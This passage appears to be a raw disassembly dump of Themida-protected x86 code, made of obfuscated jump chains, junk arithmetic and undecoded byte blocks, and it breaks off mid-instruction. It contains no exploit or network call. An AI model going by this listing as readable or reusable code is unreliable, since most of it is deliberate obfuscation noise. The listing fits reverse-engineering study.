aYZsqc db 'Y!ÖZéï—',0 dd 59ACB900h, 5D6860F3h, 0E9000025h, 0FFFFFB8Eh ; --------------------------------------------------------------------------- loc_564B28: ; CODE XREF: Themida_:0057181Cj add dword ptr [esp], 4 pop ecx push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx jmp loc_56AC62 ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 8704C083h, 285C2404h, 0F8005BD8h, 0B886E9h, 243C8700h dd 0E5A4E9h, 5AD02800h, 3E0C059h, 0C328BD04h, 3227E9h dd 24048100h, 4, 8A20E9h, 0C6295F00h, 5624048Bh, 0B7E9E689h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_564B87: ; CODE XREF: Themida_:00571BF6j add eax, 5686196Bh sub eax, edx sub eax, 5686196Bh add eax, 53D0073Ch pop edx add eax, esi add eax, 13522735h mov esi, [esp] add esp, 4 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_561042 ; --------------------------------------------------------------------------- loc_564BC2: ; CODE XREF: Themida_:005686DAj push ebx push ecx mov cl, dl jmp loc_5761C1 ; --------------------------------------------------------------------------- loc_564BCB: ; CODE XREF: Themida_:0056CA3Aj xor al, dh jmp loc_5646E8 ; --------------------------------------------------------------------------- dw 0EA81h dd 4F1E4E2Bh, 48B0B850h, 0D8F71017h, 7255422Dh, 8BC201C1h dd 0C4832404h, 38F28104h, 0E9E05AC6h, 9155h, 5C243C87h dd 240C8B66h, 0F21AE9h, 0BF579200h, 6012D6Bh, 0FD3FC781h dd 0FA015B44h, 0FFC641E9h, 0A8168FFh, 1C890000h, 721F6824h dd 4890000h, 0CA4BE924h, 0C681FFFFh, 4, 5C243487h, 0FC78166h dd 1C31E919h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564C42: ; CODE XREF: Themida_:00575527j mov bl, 0EAh shr bl, 5 neg bl dec bl or bl, 0B6h jmp loc_56DEA8 ; --------------------------------------------------------------------------- db 41h dd 0E981D9F7h, 0FA05EA42h, 159CD89h, 34875DEEh, 24248B24h dd 4A9A68h, 240C8900h, 0FFFCDBE9h db 0FFh ; --------------------------------------------------------------------------- loc_564C75: ; CODE XREF: Themida_:0056DFF9j sub esp, 4 mov [esp], ecx push 5846h mov [esp], edx push 71EEh jmp loc_574D85 ; --------------------------------------------------------------------------- loc_564C90: ; CODE XREF: Themida_:00562D9Fj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov eax, edi pop edi jmp loc_56D54E ; --------------------------------------------------------------------------- loc_564CA7: ; CODE XREF: Themida_:0057466Fj mov edx, [esp] jmp loc_561852 ; --------------------------------------------------------------------------- db 0FFh dd 835B2434h, 0F68104C4h, 1F845D1Eh, 215EF189h, 607FE9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_564CC6: ; CODE XREF: Themida_:0056CF58j mov [esp], edx mov edx, 57193BEAh shl edx, 2 push ebx jmp loc_568A25 ; --------------------------------------------------------------------------- loc_564CD7: ; CODE XREF: Themida_:0056C572j add edx, 0FFFFFFFFh add edx, 29D0EAE2h sub ebx, edx mov edx, [esp] add esp, 4 add ebx, eax add ebx, 67874830h push ebp push edi mov edi, 7751799Ch mov ebp, edi pop edi add ebx, ebp pop ebp sub esp, 2 jmp loc_56D1BE ; --------------------------------------------------------------------------- db 5Bh dd 0FFF3ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_564D11: ; CODE XREF: Themida_:00573E10j or ebx, ebx jnz loc_565FDD sub esp, 4 mov [esp], ebx mov ebx, 20h push ecx push 5859h mov [esp], edx mov edx, 73697D6Fh mov ecx, edx pop edx push eax jmp loc_57096C ; --------------------------------------------------------------------------- loc_564D3B: ; CODE XREF: Themida_:0056EC8Aj pop ebx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_570C72 ; --------------------------------------------------------------------------- dd 24048B66h, 11A90E9h, 0FBCE8100h, 0E907A83Fh, 6855h dd 42474FFh, 24048F58h, 4EC815Ch, 89000000h, 0E2E9242Ch dd 680000F3h, 120Dh, 0A704E9h, 0F7875E00h, 6D05C781h, 685542h dd 81000000h, 543A242Ch, 3C294AF1h, 24048124h, 4AF1543Ah dd 0CE64E95Fh, 0C89FFFFh, 7B5F6824h, 4EE93B21h, 89FFFFD0h dd 9DB82404h, 21146703h, 0CE8158C6h, 1F0270F4h, 0F1EE8146h dd 11F0270h, 2F685EF5h, 89000076h, 92BA2414h, 503FA144h dd 5462E9h db 0 ; --------------------------------------------------------------------------- loc_564DE5: ; CODE XREF: Themida_:0056C932j push edi push ebx mov ebx, 1FA90724h add ebx, 603E78A0h jmp loc_56A0C1 ; --------------------------------------------------------------------------- db 1 dd 0C38158C3h, 2, 0E9241C33h, 577Eh, 5350CD29h, 253ABABBh dd 0E9D8892Fh, 6B80h, 5504C483h, 0DB1D1CBDh, 5DEE0117h dd 0EE81EE01h, 17DB1D1Ch, 83242C8Bh, 0EC8304C4h, 24048904h dd 6BDCBE56h, 0C6813C6Bh, 0C3949426h, 34FF5856h, 24348B24h dd 4C481h, 0C4830000h, 56EE8104h, 0E969D268h, 3530h, 15AD101h dd 576859C8h, 0E9000039h, 0E892h ; --------------------------------------------------------------------------- loc_564E70: ; CODE XREF: Themida_:00574BC1j push edx mov edx, 4 sub esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 push ebp mov ebp, 0D6611DCh shl ebp, 6 sub ebp, 12411798h shr ebp, 8 jmp loc_569F1B ; --------------------------------------------------------------------------- loc_564EB0: ; CODE XREF: Themida_:00574A0Ej push eax mov eax, 1D5E4516h jmp loc_5739E6 ; --------------------------------------------------------------------------- db 68h dd 7567h, 54241489h, 5224148Bh, 11A3BE9h, 6C116800h, 0E95A2A7Bh dd 1336h ; --------------------------------------------------------------------------- loc_564ED8: ; CODE XREF: Themida_:0056838Bj sub edi, ebp pop ebp jmp loc_562780 ; --------------------------------------------------------------------------- loc_564EE0: ; CODE XREF: Themida_:0056BCE2j add ebp, 4 jmp loc_5690F3 ; --------------------------------------------------------------------------- loc_564EEB: ; CODE XREF: Themida_:00563237j sub ebx, 4E787F73h push edx push ebx add dword ptr [esp], 36B8354Fh pop edx jmp loc_5648D5 ; --------------------------------------------------------------------------- dd 126FEF81h, 0E95857DDh, 71E7h, 3F5CF381h, 0D8896EB5h dd 8F1DE9h, 4C48300h, 0ECEFE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564F22: ; CODE XREF: Themida_:005739CBj add ecx, 6A865457h jmp loc_568347 ; --------------------------------------------------------------------------- aIXs db '‰ÅXéÁÞ',0 db 0 ; --------------------------------------------------------------------------- loc_564F35: ; CODE XREF: Themida_:0056C810j mov eax, 72F90277h xor eax, 14AC5D4Dh not eax push edx mov edx, 0FFFFFFFFh sub eax, edx pop edx not eax neg eax push ebp jmp loc_56EC8F ; --------------------------------------------------------------------------- loc_564F54: ; CODE XREF: Themida_:00569C36j push edx push 3E083D53h pop edx and edx, 14B50737h dec edx inc edx xor edx, 76B924E7h mov esi, edx pop edx and esi, 52026D2Dh or esi, 5BE0461Eh add esi, 0A6D9ABCh jmp loc_571F2D ; --------------------------------------------------------------------------- db 83h dd 0E2E904ECh, 8300001Ah, 0A9E904C4h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_564F93: ; CODE XREF: Themida_:0056261Dj pop ecx add edx, eax push ebp mov ebp, 4E1E220Ch add ebp, 0E8635165h push ebx push 199Fh mov [esp], esi jmp loc_56B82A ; --------------------------------------------------------------------------- loc_564FB0: ; CODE XREF: Themida_:00574986j mov [esp], ecx jmp loc_56F716 ; --------------------------------------------------------------------------- dd 7B685752h, 5F3DC779h, 797CEF81h, 0F2E93DC7h, 8900005Ch dd 405E0h, 0C0830000h, 6CDAE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564FDA: ; CODE XREF: Themida_:0056B2D5j or edx, eax shl edx, 1 push 4B72h mov [esp], edx push 730Fh jmp loc_56DEB0 ; --------------------------------------------------------------------------- dd 247E505h, 58C6891Dh, 10F2E9h db 0 ; --------------------------------------------------------------------------- loc_564FFD: ; CODE XREF: Themida_:005719CAj sub esp, 4 mov [esp], eax mov eax, 7DC436E1h sub edx, 2F6A3628h sub edx, eax push ebp mov ebp, 2F6A3628h add edx, ebp mov ebp, [esp] add esp, 4 pop eax push ebp mov ebp, 414F31C4h jmp loc_57027D ; --------------------------------------------------------------------------- loc_56502D: ; CODE XREF: Themida_:0056FE43j push edi mov edi, 77A100F9h and edi, 63452E5Ch dec edi neg edi jmp loc_56142C ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5B04h, 24248B24h, 9C2424D3h, 0FFBFEDE9h db 0FFh ; --------------------------------------------------------------------------- loc_565055: ; CODE XREF: Themida_:00566F4Dj pop esp push edx push dword ptr [esp] pop eax add esp, 4 jmp loc_561774 ; --------------------------------------------------------------------------- dw 875Ah dd 665C243Ch, 5324048Bh, 0EB68E389h, 89000041h, 5CE9240Ch dd 100010Dh, 48759C8h, 312FE924h, 74FF0000h, 48B0424h dd 4C48324h, 8B24048Fh, 0C3E92424h db 0B4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56509F: ; CODE XREF: Themida_:0056139Ej mov esi, 4 add ecx, esi mov esi, [esp] jmp loc_5618F8 ; --------------------------------------------------------------------------- dw 148Bh aSue_0 db '$éu¥',0 align 2 dw 1C8Bh aSfl db '$éFL',0 align 2 dw 0EAC1h dd 3EAC103h, 0DAEDC281h, 0D7894DE4h, 54F7815Ah, 0E954EF32h dd 4173h ; --------------------------------------------------------------------------- loc_5650D8: ; CODE XREF: Themida_:0056DAC9j add ebp, 4 xchg ebp, [esp] jmp loc_569FF0 ; --------------------------------------------------------------------------- loc_5650E3: ; CODE XREF: Themida_:005633F3j add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_566FE1 ; --------------------------------------------------------------------------- db 31h, 4, 24h dd 5C240433h, 0CF10E9h, 24148900h, 88C78853h, 36685BFAh dd 89000026h, 0D588240Ch, 0D513E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565116: ; CODE XREF: Themida_:00562305j sub edi, 30206889h add esi, edi jmp loc_56C52A ; --------------------------------------------------------------------------- db 83h dd 0BF5701E9h, 13F1256h, 0FFED0CE9h, 3626BEFFh, 0BB532A8Bh dd 0D8161FE1h, 1125E9h db 0 ; --------------------------------------------------------------------------- loc_565141: ; CODE XREF: Themida_:0056318Ej mov [esp], ebp mov ebp, esp add ebp, 4 push 0AB7h mov [esp], edi jmp loc_56CD4E ; --------------------------------------------------------------------------- db 0E9h, 0E4h, 0BEh dd 0C381FFFFh, 4, 4EB81h, 0FF530000h, 8B042474h, 0C483241Ch dd 24048F04h, 2424895Ch, 4BE56h, 74010000h, 585E0424h dd 0E9E38953h, 0FFFFF1FCh, 9AF68h, 242C8900h, 4EC81h, 14890000h dd 55AFBA24h, 0CA810D97h, 68DB5DD7h, 8142DAF7h, 0EE6149EAh dd 0D0895049h, 81E9C589h, 0BD000103h, 698D3A3Ah, 8106E5C1h dd 481AA7EDh, 0C6ED817Dh, 811BF90Eh, 15BDC9C5h, 5DE9297Dh dd 4D6CC181h, 0F18155B6h, 36FF6888h, 159CA01h, 28685AD6h dd 89000056h, 0BF57242Ch, 2, 242C8157h, 707752F2h, 556CE95Dh dd 0EDBD0000h, 686BEA4Dh, 5DC4h, 0F7242C89h, 0F0E92414h dd 660000B4h, 34FFEB89h, 242C8B24h, 0FFDB22E9h, 835858FFh dd 1C8904ECh, 69685724h, 0E92F5A28h, 0F8EEh, 148B04BEh dd 5EF531D7h, 2C8BE901h, 0E0895024h, 612DE9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 644D1582h or edx, 756578F0h add edx, 66853409h jmp loc_56953A ; --------------------------------------------------------------------------- db 4Fh dd 5504EFC1h, 0B31FD7BDh, 57ED811Eh, 29C0401Ah, 0D86CE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565286: ; CODE XREF: Themida_:00570674j xor edi, ebp jmp loc_56C1F1 ; --------------------------------------------------------------------------- db 5Dh, 8Bh, 2Ch dd 4C48124h, 51000000h, 5C290BB9h, 91C18162h, 0E9F320E6h dd 9BE0h, 0F7FFC283h, 0C2EA81D2h, 2977BF70h, 0D5E95AD0h dd 89FFFFFEh, 24148BD6h, 4C481h, 0BF570000h, 73303F7Ch dd 461FE9h db 0 ; --------------------------------------------------------------------------- loc_5652D1: ; CODE XREF: Themida_:00571E7Ej push 22EFh mov [esp], edx jmp loc_571898 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8B241487h, 48F2424h, 79B2E924h, 44010000h, 5D580424h dd 0B568h, 24048900h, 4B50E9h db 0 ; --------------------------------------------------------------------------- loc_565305: ; CODE XREF: Themida_:0056F2E2j or ecx, eax jmp loc_569FE9 ; --------------------------------------------------------------------------- dd 4C4815Ah, 0D000000h, 3096779Ah, 0EB7BF02Dh, 0FFBA5242h dd 29FFFFFFh, 0EC815AD0h, 4, 0BF243C89h, 197805B5h, 3C8BF809h dd 4C48324h, 7C07FD2Dh, 58C1013Dh db 33h byte_565345 db 0Ch, 24h, 0E9h ; DATA XREF: ___:00444984o ; ___:00444D7Co dd 69FCh, 0B0240489h, 8BC688B7h, 0C4832404h, 46206804h dd 1C890000h, 88F78824h, 241C8BF9h, 4EC81h, 4BE90000h dd 81FFFFD6h, 4C4h, 24143300h, 0E9241431h, 63BEh, 285BFA00h dd 1004E9D0h, 3BB80000h, 8970D27Dh, 0F18158C1h, 23463C94h dd 372DC981h, 0D1F74776h, 5A7AF181h, 0C18105EFh, 69148329h dd 8107E9C1h, 0F9E0F4F1h, 0E4EE94Ah db 1, 0 ; --------------------------------------------------------------------------- loc_5653BE: ; CODE XREF: Themida_:00574A40j mov [esp], edi mov edi, 0EF13656h jmp loc_569FF6 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 4EF81h, 3C870000h, 14895C24h, 33B75324h dd 64865366h, 0CCFE0124h, 1246486h, 0E9525B66h, 64FBh dd 0E9C23159h, 0FFFFBC42h, 0E3F5E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_565406: ; CODE XREF: Themida_:00567043j mov [esp], edi mov edi, 4 jmp loc_56B49B ; --------------------------------------------------------------------------- loc_565413: ; CODE XREF: Themida_:0056DFC8j mov edx, 6A9A3ECDh mov ebp, 7B045DEBh xor ebp, edx mov edx, [esp] add esp, 4 jmp loc_571888 ; --------------------------------------------------------------------------- db 5Bh, 1, 0CBh dd 0ACEA8159h, 81376A45h, 7616FEC2h, 4DEA8132h, 8125BE0Bh dd 0FE1C80C2h, 0C0EA8146h, 2940C07Eh, 0C0C281C2h, 8140C07Eh dd 0FE1C80EAh, 0E791E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565462: ; CODE XREF: Themida_:005611D1j sub ecx, 33FE1749h push ebx mov ebx, 53115DF7h or ecx, ebx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 72D3h mov [esp], ebp jmp loc_569A77 ; --------------------------------------------------------------------------- db 0BAh dd 791D6074h, 2927C681h, 0D60100EAh, 3E86E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5654A6: ; CODE XREF: Themida_:0056F60Dj push dx jmp loc_575659 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 8704C483h, 248B2404h, 2434FF24h, 6ACB6858h, 1C890000h dd 864DE924h, 73E90000h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5654CF: ; CODE XREF: Themida_:0056A4DFj mov esi, esp jmp loc_56B6A4 ; --------------------------------------------------------------------------- dw 1C89h aIh db '$·ˆh^',0Ah,0 align 10h dd 52240489h, 0D088FA88h, 0B8E9535Ah, 0D1FFFFD9h, 0A8E981E9h dd 50007F3Bh, 0C289C889h, 0BBE95958h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_565503: ; CODE XREF: Themida_:0056B2E0j add ebp, 2337B0Bh add ebp, 0A49A66A4h sub edx, ebp jmp loc_561235 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 8B243C87h, 0C9E92424h, 5200005Bh, 0C978C5BAh, 0FB8CE954h dd 1486FFFFh, 53516624h, 0DD88D388h, 30FD305Bh, 0F6FD30EFh dd 53FD86D7h, 0E5E9EF88h, 8B000024h, 0C4812414h, 4, 667BE9h dd 0C8B6600h, 0C99CE924h, 815D0000h, 4C5h, 0C4CDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565572: ; CODE XREF: Themida_:005646EDj push 34F4h mov [esp], ebx mov bh, 70h add bh, 0D7h neg bh sub bh, 7Fh jmp loc_575A10 ; --------------------------------------------------------------------------- loc_565589: ; CODE XREF: Themida_:0056FA6Ej pop ebx jmp loc_5673FB ; --------------------------------------------------------------------------- db 88h dd 150AE9D9h db 1, 0 ; --------------------------------------------------------------------------- loc_565596: ; CODE XREF: Themida_:00568CFBj add esp, 4 jmp loc_564AE2 ; --------------------------------------------------------------------------- dw 0EB81h dd 71F24A66h, 0C381FB01h, 71F24A66h, 81D3015Fh, 0E5387DEBh dd 54E95A45h db 13h, 1, 0 ; --------------------------------------------------------------------------- loc_5655BB: ; CODE XREF: Themida_:0057381Bj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_573AA2 ; --------------------------------------------------------------------------- db 81h dd 6E6774C3h, 5BDF0944h, 3857F781h, 0FA018D11h, 0E92434FFh dd 0AFECh, 81665366h, 780B2404h, 81665E66h, 5B780BEEh dd 5572BA66h, 5EF23166h, 4EC81h, 1C890000h, 0D3896624h dd 0FFDF8966h, 1C8B2434h, 4C48324h, 4EC81h, 14890000h dd 815A5424h, 4C2h, 4B95100h, 1000000h, 148759CAh, 24248B24h dd 3353E9h, 0BF575200h, 72286157h, 0E00E33BAh, 5FFA315Ah dd 962CE9h, 8DF38100h, 0E92F5249h, 0FFFFCE49h, 0E1803AB1h dd 4F87E93Eh, 8F640000h, 0B9D0E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565672: ; CODE XREF: Themida_:00562D65j and ecx, 40260B91h dec ecx push edi mov edi, 67BE61F0h and ecx, edi mov edi, [esp] add esp, 4 jmp loc_575F85 ; --------------------------------------------------------------------------- loc_56568F: ; CODE XREF: Themida_:00562262j add eax, 7CD724C1h jmp loc_563BF7 ; --------------------------------------------------------------------------- loc_565699: ; CODE XREF: Themida_:005739A9j pop edi jmp loc_56C90C ; --------------------------------------------------------------------------- db 5Ch dd 10777E9h db 0 ; --------------------------------------------------------------------------- loc_5656A5: ; CODE XREF: Themida_:0057547Aj sub bl, ah pop eax push small 1B1h mov [esp], cx push ebx jmp loc_565E3D ; --------------------------------------------------------------------------- aSBG db 'Áé',8,'É£',0 db 0C2h, 18h, 57h aSI1iSkv db 'S»Ø',0Bh,'‰1‰ß[éŠv',0 align 2 dw 0BBBFh dd 0BA29083Eh, 28912629h, 425FFA01h, 76A7E9h, 0FF505600h dd 685E2434h, 7C96h, 68240C89h, 25F7h, 9FF0E9h, 0C8B6600h dd 47E9E924h, 0FF680000h, 8900005Fh, 1FE92434h, 5FFFFFE6h dd 0E9E68956h, 0FFFFDD2Ch, 4C381h, 0EB810000h, 4, 5C241C87h dd 83242489h, 348904ECh, 4BE24h, 44810000h, 7F530424h dd 74012B52h, 6C810424h, 7F530424h, 8B5E2B52h, 0C481241Ch dd 4, 4EC81h, 0C890000h, 4BE5624h, 0B942800Fh, 412F319Fh dd 0E95EF131h, 3CA4h ; --------------------------------------------------------------------------- loc_565770: ; CODE XREF: Themida_:005683EFj inc ebp dec ebp jmp loc_570CDA ; --------------------------------------------------------------------------- db 8Bh dd 0D3662424h, 0E99C242Ch, 0FFFFB8BEh, 26D068h, 240C8900h dd 9F36E956h, 0FF560000h, 5E042474h, 0E924048Fh, 0FFFFFFD7h dd 2414875Bh, 8B24248Bh, 0C4812414h, 4, 0B9EAE9h, 0A5E78100h dd 0C12CE81Ch, 83E904EFh db 0ECh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5657C3: ; CODE XREF: Themida_:005694D2j pop ebx sub ecx, 0EBC10E3Ch mov ebx, ecx pop ecx push ecx mov ecx, 75145613h shl ecx, 4 push 22D8h mov [esp], esi mov esi, 44E412C7h xor ecx, esi mov esi, [esp] add esp, 4 xor ecx, 74707AC6h jmp loc_574223 ; --------------------------------------------------------------------------- dw 8B54h dd 0C481243Ch, 4, 4C781h, 19E90000h, 51FFFFC3h, 0A3EFE9h dd 3EDC000h, 0E92BED80h, 0DBA1h, 5C24048Fh, 0E9241C89h dd 0BD9Ch, 0E904E883h, 0D713h, 3E02E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_565836: ; CODE XREF: Themida_:005619BCj pop dword ptr [esp] pop esp mov [esp], ebx jmp loc_56FA47 ; --------------------------------------------------------------------------- aZS1 db '‡Îéœ1',0 dd 240C8B00h, 8B3BE9h db 0 ; --------------------------------------------------------------------------- loc_565851: ; CODE XREF: Themida_:00575066j push eax mov eax, 62D20E2Dh jmp loc_56C925 ; --------------------------------------------------------------------------- dd 16206FBAh, 0E9424A34h, 0D20h, 659BC681h, 0FE014894h dd 659BEE81h, 96E94894h db 0E8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56587B: ; CODE XREF: Themida_:00576AEFj push esp pop ebx jmp loc_56B0FB ; --------------------------------------------------------------------------- loc_565882: ; CODE XREF: Themida_:00570CEAj sub edi, 27FC3733h sub edi, 42AB7308h add edi, ebp add edi, 42AB7308h jmp loc_56DC04 ; --------------------------------------------------------------------------- db 28h dd 0D3EFE9F3h, 30B40000h, 3CE9CC28h db 0FDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5658AB: ; CODE XREF: Themida_:00570D0Fj inc ebp dec ebp and ebp, 36E35C0h add ebp, 0FEF9DB44h add edi, ebp pop ebp sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push eax mov eax, 5A93245Eh shr eax, 7 dec eax push edx mov edx, 5C6F4198h add eax, edx pop edx or eax, 78F632DFh add eax, 0D48DB42Fh push esi push ebx jmp loc_56616E ; --------------------------------------------------------------------------- db 66h, 68h, 0D9h dd 1C89663Eh, 93B724h, 665B66F8h, 2CCAB252h, 0E9D00042h dd 0ADD3h ; --------------------------------------------------------------------------- loc_565908: ; CODE XREF: Themida_:00562E4Dj pop eax add esp, 4 push ecx jmp loc_570865 ; --------------------------------------------------------------------------- loc_565912: ; CODE XREF: Themida_:00561427j push edi mov edi, 169470EBh shl edi, 3 xor edi, 2C801F67h add edi, 7CF1BFF7h jmp loc_5665F6 ; --------------------------------------------------------------------------- dd 4C181h, 0E9510000h, 77B3h, 815AD689h, 3226FCC1h, 60F8E961h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565946: ; CODE XREF: Themida_:00565F9Bj not edi not edi shr edi, 1 xor edi, 448509Ah jmp loc_568C77 ; --------------------------------------------------------------------------- db 0B9h dd 3726FADBh, 0A5E9C829h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565963: ; CODE XREF: Themida_:00576741j mov [esp], eax push edi push 31842D0Fh pop edi sub edi, 1 sub esp, 4 mov [esp], ebx push esi mov esi, 57D579Fh mov ebx, 34F97A90h xor ebx, esi pop esi jmp loc_571E5D ; --------------------------------------------------------------------------- dd 0D0F645B0h, 0E504D0F6h, 0B82CD934h, 0DFE9C100h, 89FFFFE1h dd 0DB2D5EF7h, 52AF051h, 1D0601A9h, 0D7E9F801h, 33FFFFECh dd 875C2414h, 2BE9241Ch, 0B5FFFFD8h, 0EBD8E9B8h, 0CB29FFFFh dd 8AC38159h, 140420Ch, 8AEB81C3h, 0E940420Ch, 10B64h dd 0FF2434FFh, 78E92434h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5659E7: ; CODE XREF: Themida_:0056E0C0j dec eax add eax, 0E9EF3FFAh jmp loc_56C4C4 ; --------------------------------------------------------------------------- dw 1433h dd 4895C24h, 66736824h, 0C890000h, 59E36824h, 56596A86h dd 313DE9h, 8BDD8800h, 8950241Ch, 4B951E0h, 1000000h, 0C08359C8h dd 7276E904h, 4050000h, 2D000000h, 4, 0E9240487h, 8CBBh dd 4460BF57h, 48E979BCh, 54000085h, 40558h, 0BCE90000h dd 800000C9h, 0EB80D8C3h, 0E9C300E3h, 0FFFFC586h, 0E9241C89h dd 98B1h, 10FD68h, 24248900h, 4240481h, 5A000000h, 4C281h dd 0EA810000h, 4, 31241433h, 14332414h, 8F545C24h, 0BE562404h dd 4, 4247401h, 24148B5Eh, 4C481h, 0C2810000h, 4, 12FAB951h dd 0D1F71997h, 0FC00E949h, 0C380FFFFh, 69C38062h, 0EB80E328h dd 62EB8069h, 0F6EAB551h, 11C580D5h, 7676E9h, 24043300h dd 0FFF618E9h, 9D56BEFFh, 0EE01EE2Fh, 5D2434FFh, 8192E9h dd 0B554E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565AEE: ; CODE XREF: Themida_:0056B4A8j push edx mov edx, 13522735h jmp loc_571BF1 ; --------------------------------------------------------------------------- db 81h, 0EEh, 3Ch dd 5D2F8434h, 1046DE9h, 0F5EF8100h, 2958A04Fh, 0F5C781EFh dd 6858A04Fh, 4409h, 0B9240C89h, 8C5143h, 5D59CF01h, 0FFC273E9h db 0FFh ; --------------------------------------------------------------------------- loc_565B29: ; CODE XREF: Themida_:0057226Dj xor [esp], ebx jmp loc_566F4A ; --------------------------------------------------------------------------- db 89h, 0EEh, 0E9h dd 0FFFFBD39h, 700BE957h, 0C6810000h, 4, 5C243487h, 690368h dd 24148900h, 0FFE04FE9h, 0C9815AFFh, 523A39F3h, 82E9D1F7h db 6, 1, 0 ; --------------------------------------------------------------------------- loc_565B63: ; CODE XREF: Themida_:005623C1j pop esp mov [esp], edx push edi mov edi, esp push ebp push 4 pop ebp jmp loc_56D1B5 ; --------------------------------------------------------------------------- loc_565B76: ; CODE XREF: Themida_:00571FE2j mov ecx, esi mov eax, ecx push dword ptr [esp] pop ecx sub esp, 4 mov [esp], esi mov esi, esp push 7014h mov [esp], ebx mov ebx, 1C3B6413h shl ebx, 2 shr ebx, 5 shr ebx, 7 add ebx, 0FFF8F12Bh sub esi, 46FD0012h add esi, ebx push ebp mov ebp, 46FD0012h jmp loc_56EC87 ; --------------------------------------------------------------------------- loc_565BB8: ; CODE XREF: Themida_:0057196Bj pop edi add esp, 4 push ecx mov ecx, 14AC708Bh xor ecx, 276E4E7Ah and ecx, 28AD06ACh shl ecx, 4 shl ecx, 1 xor ecx, 4F7596C5h add edi, ecx jmp loc_568D95 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 4116658h, 4FE99C24h, 81FFFFB4h, 4C7h, 4EF8300h dd 5C243C87h, 0E9240C89h, 0DBBFh, 95E9EBB4h, 8B0000EFh dd 0C481242Ch, 4, 8324148Bh, 34FF04C4h, 0E9565D24h, 95A1h ; --------------------------------------------------------------------------- loc_565C28: ; CODE XREF: Themida_:005704CBj shr edx, 5 jmp loc_5623A6 ; --------------------------------------------------------------------------- dd 240C8B66h, 8904EC83h, 0E954240Ch, 1F22h ; --------------------------------------------------------------------------- loc_565C40: ; CODE XREF: Themida_:0056CF61j mov dl, ch pop ecx mov ch, dl jmp loc_56B1A7 ; --------------------------------------------------------------------------- dw 0DAF7h dd 0C866E9h, 2DAFB900h, 0CA3174C8h, 0B2BE5659h, 0E94AD210h dd 1C1Dh, 405E089h, 68000000h, 422Dh, 0BF243C89h, 14B03848h dd 384CF781h, 0F82914B0h, 2404335Fh, 33240431h, 248B2404h dd 24048924h, 0E3603CB8h, 72EB8149h, 179FF37h, 6792E9C3h dd 0B9510000h, 3D5F8EF0h, 3159CE01h, 0C8315EF1h, 83240C8Bh dd 348904ECh, 0A201E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565CBE: ; CODE XREF: Themida_:005720A8j mov edx, 7A744362h inc edx jmp loc_568139 ; --------------------------------------------------------------------------- db 68h, 0EEh, 6Fh dd 0DCE90000h, 81000101h, 0BC5DABC5h, 81D50124h, 0BC5DABEDh dd 0B8505324h, 5BC86AD9h, 87483D35h, 3ABF570Ah, 81111C5Fh dd 537BA7E7h, 65CF8129h, 81493B64h, 0E10AFFEFh, 0DAC6E94Ah dd 0EA81FFFFh, 451562Eh, 5557CA29h, 0DD4D99BDh, 5DEF8970h dd 2F24C781h, 0F0E9796Dh, 5D00001Dh, 81E28952h, 4C2h, 4C28300h dd 0B069E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565D3A: ; CODE XREF: Themida_:0056AE68j or esi, 563C0C50h push ecx mov ecx, 0F958825Eh xor esi, ecx jmp loc_56C735 ; --------------------------------------------------------------------------- loc_565D4D: ; CODE XREF: Themida_:0056A52Bj add esp, 4 xchg ebp, [esp] pop esp jmp loc_563A89 ; --------------------------------------------------------------------------- loc_565D5C: ; CODE XREF: Themida_:0056C824j mov edi, [esp] jmp loc_56878B ; --------------------------------------------------------------------------- dd 16B9E981h, 0BA524CEBh, 1F7227F7h, 11FFEA81h, 0E5E935D8h dd 57FFFFF0h, 953EF3BFh, 0F7F78122h, 122953Eh, 0C3815FFBh dd 4, 0DCD4E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565D96: ; CODE XREF: Themida_:0056EB3Bj push eax mov ah, 60h add bh, ah pop eax sub al, 18h add al, bh sub esp, 4 mov [esp], ecx push eax mov 